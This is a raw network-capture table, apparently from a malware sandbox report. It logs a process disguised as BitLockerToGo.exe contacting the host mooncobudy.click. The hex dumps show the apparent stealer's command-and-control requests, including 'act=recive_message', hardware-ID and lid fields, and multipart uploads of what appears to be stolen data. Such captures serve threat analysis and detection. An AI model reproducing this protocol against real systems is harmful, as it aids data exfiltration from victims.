Timestamp	Bytes transferred	Direction	Data
2024-12-30 20:42:28 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: mooncobudy.click
2024-12-30 20:42:28 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4a 77 71 75 6c 6e 2d 2d 32 39 31 32 59 54 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=Jwquln--2912YT&j=
2024-12-30 20:42:28 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 20:42:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rp22im4i6djudjtjqs78ibvhup; expires=Fri, 25 Apr 2025 14:29:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hRA%2BHNsxp%2Fgj%2BYkj4aVGne%2FJEExnpiEWfSk%2BEUmCQYRQS%2Bn0avJQWMzB5mQYKJi%2F3T6KTOyk3Pwit0MWixn3rRNiRQhGjCqhnXJIeZkJsI1mTn2A258o%2FDJd3jW2V%2Bnwoh6Q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa4db470fdfc32a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1638&rtt_var=631&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=948&delivery_rate=1712609&cwnd=242&unsent_bytes=0&cid=3a07cc08b54f2cd3&ts=480&x=0"
2024-12-30 20:42:28 UTC	236	IN	Data Raw: 32 64 32 62 0d 0a 6a 57 73 61 74 68 55 5a 30 41 33 46 34 73 6b 74 44 67 41 4c 56 33 4a 41 52 6b 56 53 65 44 69 6e 68 46 50 55 68 72 75 51 6c 78 54 32 53 57 79 55 4c 79 33 38 4c 37 61 48 36 78 64 36 63 6e 34 79 58 6d 49 6e 49 58 42 43 58 73 62 6f 49 4c 47 71 6d 65 62 36 4e 72 63 4e 65 39 70 6d 66 50 77 76 6f 4a 72 72 46 31 56 37 4b 54 49 63 59 6e 78 6e 4e 78 4a 61 78 75 67 78 74 65 33 55 34 50 74 33 35 51 64 39 33 6e 42 36 74 47 79 70 6a 36 78 49 61 32 46 68 4f 52 73 74 4c 69 68 77 56 42 72 43 2f 6e 48 75 70 50 62 31 34 33 58 41 43 6d 6e 64 4e 32 54 38 64 75 65 48 70 77 38 30 49 6d 6f 79 45 43 77 67 49 54 6b 51 55 4d 2f 67 4d 4c 44 73 79 2f 6e 78 66 4f 55 4a 66 74 39 36 63 36 42 68 6f 34 69 6e 54 6d Data Ascii: 2d2bjWsathUZ0A3F4sktDgALV3JARkVSeDinhFPUhruQlxT2SWyULy38L7aH6xd6cn4yXmInIXBCXsboILGqmeb6NrcNe9pmfPwvoJrrF1V7KTIcYnxnNxJaxugxte3U4Pt35Qd93nB6tGypj6xIa2FhORstLihwVBrC/nHupPb143XACmndN2T8dueHpw80ImoyECwgITkQUM/gMLDsy/nxfOUJft96c6Bho4inTm
2024-12-30 20:42:28 UTC	1369	IN	Data Raw: 46 68 4b 58 74 51 4a 54 78 6e 61 46 6f 4a 39 2b 55 67 70 2f 48 55 34 76 4d 32 38 45 64 68 6c 48 42 33 38 6a 66 6e 69 4b 64 42 61 57 46 6d 4d 68 45 69 4e 69 67 77 47 56 4c 4e 34 6a 75 35 36 39 62 38 2f 33 48 6e 41 48 2f 62 63 48 4f 30 59 4b 54 41 35 51 39 72 65 69 6c 74 55 41 49 30 4a 44 4d 4f 56 39 53 6d 4c 76 6a 39 6d 66 58 35 4e 72 64 4a 66 74 70 32 64 72 4a 39 72 34 75 67 53 6e 35 70 59 44 67 64 49 69 6b 74 50 78 6c 61 77 75 77 37 75 65 37 64 2f 2f 68 77 37 77 6b 34 6d 6a 64 38 71 69 2f 2f 77 49 68 4b 66 47 56 6c 49 31 49 59 5a 44 68 2b 41 78 72 43 36 6e 48 75 70 4e 48 33 39 6e 58 6b 42 6e 76 63 66 47 6d 79 66 61 47 4e 72 6c 31 71 5a 32 63 2f 45 7a 41 75 4b 54 59 5a 55 38 37 76 4e 4c 48 67 6d 62 79 31 63 66 64 4a 49 4a 52 57 64 72 6c 6a 72 5a 65 72 44 Data Ascii: FhKXtQJTxnaFoJ9+Ugp/HU4vM28EdhlHB38jfniKdBaWFmMhEiNigwGVLN4ju569b8/3HnAH/bcHO0YKTA5Q9reiltUAI0JDMOV9SmLvj9mfX5NrdJftp2drJ9r4ugSn5pYDgdIiktPxlawuw7ue7d//hw7wk4mjd8qi//wIhKfGVlI1IYZDh+AxrC6nHupNH39nXkBnvcfGmyfaGNrl1qZ2c/EzAuKTYZU87vNLHgmby1cfdJIJRWdrljrZerD
2024-12-30 20:42:28 UTC	1369	IN	Data Raw: 31 48 44 41 6f 4c 54 59 56 56 38 6d 6d 66 2f 62 6a 77 62 4b 74 4e 73 55 4b 62 4e 64 39 4f 59 64 73 71 59 36 73 57 53 78 39 4a 79 78 51 4a 53 68 6e 61 46 70 58 78 4f 34 33 70 4f 76 55 38 66 74 34 34 41 78 33 33 48 64 37 76 32 71 6a 69 36 42 4d 59 57 5a 37 50 78 41 71 49 53 59 36 45 42 71 4c 70 6a 61 75 70 49 47 79 78 47 48 6b 53 30 33 58 65 58 57 31 65 65 65 66 35 56 59 73 5a 57 56 31 53 47 49 70 4c 7a 55 66 56 63 54 73 50 37 50 75 31 66 72 37 64 66 30 47 66 4e 52 37 63 37 68 69 71 59 53 6a 52 6d 64 70 62 7a 55 52 4b 47 52 70 63 42 31 43 68 62 35 78 67 75 50 56 2f 2f 6f 30 32 67 70 32 32 6e 42 74 38 6e 44 70 6d 65 74 49 59 43 49 78 64 52 77 72 4a 43 77 36 48 6c 72 43 36 7a 53 31 34 39 72 2f 38 6e 7a 68 44 6e 7a 59 66 6e 61 30 62 36 43 45 72 6c 31 70 61 32 Data Ascii: 1HDAoLTYVV8mmf/bjwbKtNsUKbNd9OYdsqY6sWSx9JyxQJShnaFpXxO43pOvU8ft44Ax33Hd7v2qji6BMYWZ7PxAqISY6EBqLpjaupIGyxGHkS03XeXW1eeef5VYsZWV1SGIpLzUfVcTsP7Pu1fr7df0GfNR7c7hiqYSjRmdpbzURKGRpcB1Chb5xguPV//o02gp22nBt8nDpmetIYCIxdRwrJCw6HlrC6zS149r/8nzhDnzYfna0b6CErl1pa2
2024-12-30 20:42:28 UTC	1369	IN	Data Raw: 4b 6a 46 77 42 52 54 63 70 6a 61 36 70 49 47 79 2f 48 2f 39 42 33 62 64 65 6e 32 36 61 4b 6d 4e 6f 45 6c 6e 5a 57 34 7a 48 53 6f 70 49 6a 4d 62 58 73 2f 30 4d 72 33 75 31 50 69 31 4f 4b 38 4f 59 4a 51 76 4f 35 56 6a 6a 70 43 77 58 58 6f 69 64 6e 73 4a 59 69 4d 72 63 45 49 61 78 75 6b 34 75 65 7a 52 2f 66 70 79 34 51 39 2b 32 58 4a 30 75 48 32 76 6a 71 5a 45 59 32 6c 37 4e 52 30 6d 4b 43 4d 34 45 56 43 46 71 48 47 78 2f 4a 6d 71 74 55 50 69 42 6e 6a 58 59 54 75 74 49 62 37 41 72 45 4d 73 4f 69 6b 35 48 69 49 72 4b 7a 77 52 55 73 54 71 50 37 48 68 30 50 72 39 5a 4f 34 4e 63 4e 56 35 64 4c 4e 72 6f 6f 57 76 53 47 68 6b 5a 6e 56 65 59 69 4d 2f 63 45 49 61 36 73 45 45 39 4d 58 6a 73 75 6f 34 39 6b 6c 2f 32 44 63 6a 38 6d 4f 6b 6a 4b 4e 41 61 6d 74 6c 50 78 6b Data Ascii: KjFwBRTcpja6pIGy/H/9B3bden26aKmNoElnZW4zHSopIjMbXs/0Mr3u1Pi1OK8OYJQvO5VjjpCwXXoidnsJYiMrcEIaxuk4uezR/fpy4Q9+2XJ0uH2vjqZEY2l7NR0mKCM4EVCFqHGx/JmqtUPiBnjXYTutIb7ArEMsOik5HiIrKzwRUsTqP7Hh0Pr9ZO4NcNV5dLNrooWvSGhkZnVeYiM/cEIa6sEE9MXjsuo49kl/2Dcj8mOkjKNAamtlPxk
2024-12-30 20:42:28 UTC	1369	IN	Data Raw: 78 35 5a 77 65 4d 2b 74 2b 58 66 34 50 4a 2f 2f 51 64 31 32 33 39 7a 75 32 36 6a 68 61 5a 4a 59 47 68 6f 4d 68 34 73 4c 47 64 2b 57 6c 33 64 70 6d 6e 32 78 63 6e 70 35 32 44 69 4b 48 58 62 4e 32 54 38 64 75 65 48 70 77 38 30 49 6d 41 6e 46 43 38 32 4c 6a 63 55 56 63 62 30 4d 4c 76 76 79 2f 58 36 63 75 67 46 66 74 74 78 65 72 64 6c 71 34 65 75 52 47 4e 75 4b 58 74 51 4a 54 78 6e 61 46 70 30 7a 76 55 6d 74 65 72 53 35 4f 34 32 38 45 64 68 6c 48 42 33 38 6a 66 6e 67 36 42 45 61 47 4a 6c 4e 52 51 76 4a 44 55 2f 48 56 33 4d 37 53 4f 38 34 39 37 35 2f 58 33 67 44 32 72 59 65 57 6d 33 66 62 58 41 35 51 39 72 65 69 6c 74 55 42 51 6a 4e 79 41 5a 47 50 54 77 4d 71 44 76 31 50 36 31 61 61 45 51 4f 4e 4e 37 4f 2b 6f 76 6f 59 2b 69 54 47 4e 6a 59 44 6b 64 4a 79 30 69 Data Ascii: x5ZweM+t+Xf4PJ//Qd1239zu26jhaZJYGhoMh4sLGd+Wl3dpmn2xcnp52DiKHXbN2T8dueHpw80ImAnFC82LjcUVcb0MLvvy/X6cugFfttxerdlq4euRGNuKXtQJTxnaFp0zvUmterS5O428EdhlHB38jfng6BEaGJlNRQvJDU/HV3M7SO84975/X3gD2rYeWm3fbXA5Q9reiltUBQjNyAZGPTwMqDv1P61aaEQONN7O+ovoY+iTGNjYDkdJy0i
2024-12-30 20:42:28 UTC	1369	IN	Data Raw: 37 6f 41 37 58 2f 6d 65 32 37 62 36 38 4f 64 4a 51 76 4f 37 46 6f 70 49 47 68 52 6d 42 74 62 6a 45 43 4b 43 4d 31 4d 52 74 52 79 4f 6f 78 75 2b 6e 54 38 2f 78 37 34 77 52 2f 30 33 68 2b 38 69 48 6e 68 37 4d 50 4e 43 4a 49 4f 42 73 75 66 33 31 77 42 52 54 63 70 6a 61 36 70 49 47 79 39 58 7a 71 41 33 58 58 65 48 69 67 62 71 47 53 71 30 4a 6d 63 47 4d 2b 46 53 38 70 4b 6a 4d 63 58 4d 37 71 49 37 2f 6b 32 76 6d 31 4f 4b 38 4f 59 4a 51 76 4f 35 46 34 73 59 71 73 51 33 70 70 61 44 59 47 4c 7a 52 6e 66 6c 70 4c 77 76 64 78 37 76 4c 4a 35 66 4a 70 6f 52 41 34 30 33 73 37 36 69 2b 68 69 61 31 49 61 6d 78 37 4d 42 59 74 4b 79 34 35 48 6c 4c 47 35 6a 57 79 34 39 7a 78 2b 58 33 6f 43 6e 66 51 66 6e 57 37 59 4f 66 4f 36 30 68 30 49 6a 46 31 4d 54 6b 6e 4b 7a 31 61 52 Data Ascii: 7oA7X/me27b68OdJQvO7FopIGhRmBtbjECKCM1MRtRyOoxu+nT8/x74wR/03h+8iHnh7MPNCJIOBsuf31wBRTcpja6pIGy9XzqA3XXeHigbqGSq0JmcGM+FS8pKjMcXM7qI7/k2vm1OK8OYJQvO5F4sYqsQ3ppaDYGLzRnflpLwvdx7vLJ5fJpoRA403s76i+hia1Iamx7MBYtKy45HlLG5jWy49zx+X3oCnfQfnW7YOfO60h0IjF1MTknKz1aR
2024-12-30 20:42:28 UTC	1369	IN	Data Raw: 32 71 70 6e 31 37 54 61 33 53 56 6a 66 59 58 36 31 65 65 57 31 71 45 46 69 5a 58 39 31 44 78 31 71 5a 7a 38 41 47 70 33 66 4b 50 62 6a 31 62 4b 74 4e 76 6f 4f 65 4e 4e 74 62 62 56 6a 74 6f 75 6d 51 30 35 74 62 69 4d 54 4c 53 63 32 4f 56 5a 52 79 4b 5a 2f 39 75 50 42 73 71 30 32 77 41 35 75 31 31 68 34 6f 32 62 6e 7a 75 74 49 65 69 49 78 64 53 35 69 4e 69 51 67 47 56 58 55 32 48 48 75 2f 65 65 79 2f 6d 44 6f 47 58 76 43 66 48 61 2b 66 70 6e 41 38 78 73 2b 4d 44 74 6e 51 6a 31 6b 4f 41 39 55 47 73 53 6d 61 59 2f 39 6d 65 53 31 4c 72 31 48 4f 4d 59 33 49 2f 49 6f 70 4a 4b 35 53 57 39 30 61 6e 49 75 48 41 4d 78 4f 68 31 4b 77 76 45 2b 39 71 71 5a 2f 62 55 75 31 6b 6c 78 30 32 78 71 70 47 4b 33 68 2b 74 77 49 69 4a 78 64 55 68 69 45 53 51 2b 46 46 33 54 39 33 Data Ascii: 2qpn17Ta3SVjfYX61eeW1qEFiZX91Dx1qZz8AGp3fKPbj1bKtNvoOeNNtbbVjtoumQ05tbiMTLSc2OVZRyKZ/9uPBsq02wA5u11h4o2bnzutIeiIxdS5iNiQgGVXU2HHu/eey/mDoGXvCfHa+fpnA8xs+MDtnQj1kOA9UGsSmaY/9meS1Lr1HOMY3I/IopJK5SW90anIuHAMxOh1KwvE+9qqZ/bUu1klx02xqpGK3h+twIiJxdUhiESQ+FF3T93
2024-12-30 20:42:28 UTC	1369	IN	Data Raw: 76 76 31 6e 34 67 55 34 6d 6a 64 75 75 57 4f 68 6a 62 34 41 66 58 52 71 49 78 64 75 4c 44 59 39 46 68 72 36 71 48 47 75 70 49 47 79 77 48 58 68 42 33 2f 43 5a 6a 61 53 5a 4b 75 44 70 30 35 72 49 69 64 31 46 6d 4a 38 64 48 35 61 58 74 53 6d 61 65 61 32 67 71 65 6d 49 62 39 62 5a 35 70 75 4f 36 51 76 2f 39 4c 6c 44 33 34 69 4d 58 56 58 49 54 59 31 4e 68 6c 4d 78 71 45 50 69 4f 58 55 2f 62 6c 34 35 41 6c 2f 78 47 46 67 2f 6d 65 6b 6d 72 46 78 55 6b 6c 6c 4d 78 63 34 49 79 45 57 4f 68 71 4c 70 6a 37 32 76 4f 43 79 76 54 62 51 52 7a 6a 4d 4e 79 50 79 57 71 53 4f 70 55 68 36 63 79 51 64 4d 78 67 65 5a 52 77 64 54 34 66 53 4e 71 62 31 30 76 2f 35 4e 71 46 4a 66 70 51 76 4b 2f 77 76 6f 35 48 72 46 7a 77 77 4d 6d 42 44 64 58 52 31 4c 31 52 44 68 66 42 78 37 72 61 Data Ascii: vv1n4gU4mjduuWOhjb4AfXRqIxduLDY9Fhr6qHGupIGywHXhB3/CZjaSZKuDp05rIid1FmJ8dH5aXtSmaea2gqemIb9bZ5puO6Qv/9LlD34iMXVXITY1NhlMxqEPiOXU/bl45Al/xGFg/mekmrFxUkllMxc4IyEWOhqLpj72vOCyvTbQRzjMNyPyWqSOpUh6cyQdMxgeZRwdT4fSNqb10v/5NqFJfpQvK/wvo5HrFzwwMmBDdXR1L1RDhfBx7ra
2024-12-30 20:42:28 UTC	1369	IN	Data Raw: 50 5a 4a 62 70 51 76 4b 50 77 76 74 63 44 7a 44 79 74 73 5a 44 51 54 4c 43 63 31 49 68 78 5a 30 2b 56 32 69 4e 72 38 2f 2f 68 7a 34 51 35 47 36 6c 5a 78 6f 6d 4b 6f 68 2b 6c 76 61 33 52 71 43 79 34 56 4e 53 41 67 57 48 7a 47 38 44 4c 32 71 70 6e 71 74 53 36 76 4b 48 4c 45 65 6e 53 31 4c 59 65 48 76 55 77 73 4c 43 6b 78 55 48 70 6b 41 6a 30 58 58 38 76 68 63 35 66 75 79 66 2f 36 63 61 30 70 66 38 4a 30 4f 2f 77 76 71 38 44 7a 44 32 31 6f 65 54 67 66 4a 57 67 67 4b 68 30 61 69 36 59 2f 39 72 79 5a 38 2f 39 6d 34 67 5a 2f 6d 48 46 31 76 43 2b 34 7a 72 49 50 65 69 49 78 5a 6c 35 69 4e 6d 64 6f 57 68 33 47 39 43 4f 77 35 38 2f 78 73 6b 6a 52 4a 47 72 54 5a 33 6a 77 58 71 71 45 76 56 70 76 63 6d 34 4c 4c 67 38 32 49 43 41 5a 47 50 54 77 4d 72 62 71 33 72 4b 37 Data Ascii: PZJbpQvKPwvtcDzDytsZDQTLCc1IhxZ0+V2iNr8//hz4Q5G6lZxomKoh+lva3RqCy4VNSAgWHzG8DL2qpnqtS6vKHLEenS1LYeHvUwsLCkxUHpkAj0XX8vhc5fuyf/6ca0pf8J0O/wvq8DzD21oeTgfJWggKh0ai6Y/9ryZ8/9m4gZ/mHF1vC+4zrIPeiIxZl5iNmdoWh3G9COw58/xskjRJGrTZ3jwXqqEvVpvcm4LLg82ICAZGPTwMrbq3rK7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	188.114.97.3	443	7020	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 20:42:30 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J342AOVJN3R2GW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18140 Host: mooncobudy.click
2024-12-30 20:42:30 UTC	15331	OUT	Data Raw: 2d 2d 4a 33 34 32 41 4f 56 4a 4e 33 52 32 47 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 38 33 37 38 43 39 34 39 30 35 44 39 32 32 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 4a 33 34 32 41 4f 56 4a 4e 33 52 32 47 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 33 34 32 41 4f 56 4a 4e 33 52 32 47 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4a 77 71 75 6c 6e 2d 2d 32 39 31 32 59 54 0d 0a 2d 2d 4a 33 34 32 41 4f 56 Data Ascii: --J342AOVJN3R2GWContent-Disposition: form-data; name="hwid"578378C94905D92220A4C476FD51BCB1--J342AOVJN3R2GWContent-Disposition: form-data; name="pid"2--J342AOVJN3R2GWContent-Disposition: form-data; name="lid"Jwquln--2912YT--J342AOV
2024-12-30 20:42:30 UTC	2809	OUT	Data Raw: 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 Data Ascii: ~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-12-30 20:42:30 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 20:42:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=69ofdbvf151e8ei8kobtlcpqlc; expires=Fri, 25 Apr 2025 14:29:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OdA3vBj%2BnGClX4HSTpd9u%2BEV%2B1dqrqEnOFtziPUPdC1E19EQo4Dv99k1gLUcTAHrSUA4aFJi2aA7lW5CFIxnDvlahO8x7LOszqLo9qcqREe7kprBsfKZSGnDgqHWYXzshK3V"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa4db524f1f7c88-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1811&rtt_var=682&sent=15&recv=24&lost=0&retrans=0&sent_bytes=2841&recv_bytes=19098&delivery_rate=1602634&cwnd=219&unsent_bytes=0&cid=32a908ccfa6417d7&ts=908&x=0"
2024-12-30 20:42:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 20:42:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	188.114.97.3	443	7020	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 20:42:31 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TXBB2XRTT0G3Z2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8761 Host: mooncobudy.click
2024-12-30 20:42:31 UTC	8761	OUT	Data Raw: 2d 2d 54 58 42 42 32 58 52 54 54 30 47 33 5a 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 38 33 37 38 43 39 34 39 30 35 44 39 32 32 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 54 58 42 42 32 58 52 54 54 30 47 33 5a 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 58 42 42 32 58 52 54 54 30 47 33 5a 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4a 77 71 75 6c 6e 2d 2d 32 39 31 32 59 54 0d 0a 2d 2d 54 58 42 42 32 58 52 Data Ascii: --TXBB2XRTT0G3Z2Content-Disposition: form-data; name="hwid"578378C94905D92220A4C476FD51BCB1--TXBB2XRTT0G3Z2Content-Disposition: form-data; name="pid"2--TXBB2XRTT0G3Z2Content-Disposition: form-data; name="lid"Jwquln--2912YT--TXBB2XR
2024-12-30 20:42:32 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 20:42:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pult7ib2u079g2ah80esf2d23m; expires=Fri, 25 Apr 2025 14:29:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y7G5wZuLjV4ux3zDt%2BNYd9AmeBnzQ5Nqo3Anxn%2BVO36gVlntG0lzYqZh%2BH3VFNsrRkHL8GGmnk%2B38TfmnRH9O5aiYfeNqbkWfpY5q7eJMfqr74dE4jv4usAfffH%2BcjrmKrtn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa4db5b3fd132f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2095&min_rtt=2083&rtt_var=805&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2842&recv_bytes=9696&delivery_rate=1339449&cwnd=112&unsent_bytes=0&cid=fd6895523d457e56&ts=668&x=0"
2024-12-30 20:42:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 20:42:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	188.114.97.3	443	7020	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 20:42:32 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FCWPUDP9BDXK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20402 Host: mooncobudy.click
2024-12-30 20:42:32 UTC	15331	OUT	Data Raw: 2d 2d 46 43 57 50 55 44 50 39 42 44 58 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 38 33 37 38 43 39 34 39 30 35 44 39 32 32 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 46 43 57 50 55 44 50 39 42 44 58 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 46 43 57 50 55 44 50 39 42 44 58 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4a 77 71 75 6c 6e 2d 2d 32 39 31 32 59 54 0d 0a 2d 2d 46 43 57 50 55 44 50 39 42 44 58 4b 0d Data Ascii: --FCWPUDP9BDXKContent-Disposition: form-data; name="hwid"578378C94905D92220A4C476FD51BCB1--FCWPUDP9BDXKContent-Disposition: form-data; name="pid"3--FCWPUDP9BDXKContent-Disposition: form-data; name="lid"Jwquln--2912YT--FCWPUDP9BDXK
2024-12-30 20:42:32 UTC	5071	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 